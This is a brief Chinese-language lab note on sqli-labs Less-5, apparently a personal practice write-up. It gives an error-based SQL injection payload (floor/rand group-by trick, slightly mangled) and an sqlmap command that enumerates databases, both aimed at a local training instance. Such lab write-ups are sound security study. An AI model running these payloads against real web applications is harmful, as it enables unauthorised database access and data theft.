Less 5

这题玩的是盲注
是报错型的。

http://127.0.0.1/Less-5/?id=1.1' union select 1,count(),concat(0x3a,0x3a,(select%20database()),0x3a,0x3a,floor(rand(0)2))a%20from%20information_schema.columns%20group%20by%20a;%20--+

我不想再去一个个试了，我要用sqlmap了。
只要知道考点，我就不一一手工了，都用sqlmap跑出来就van事了。

sqlmap -u "http://127.0.0.1/Less-5/?id=1" --dbs --batch --no-cast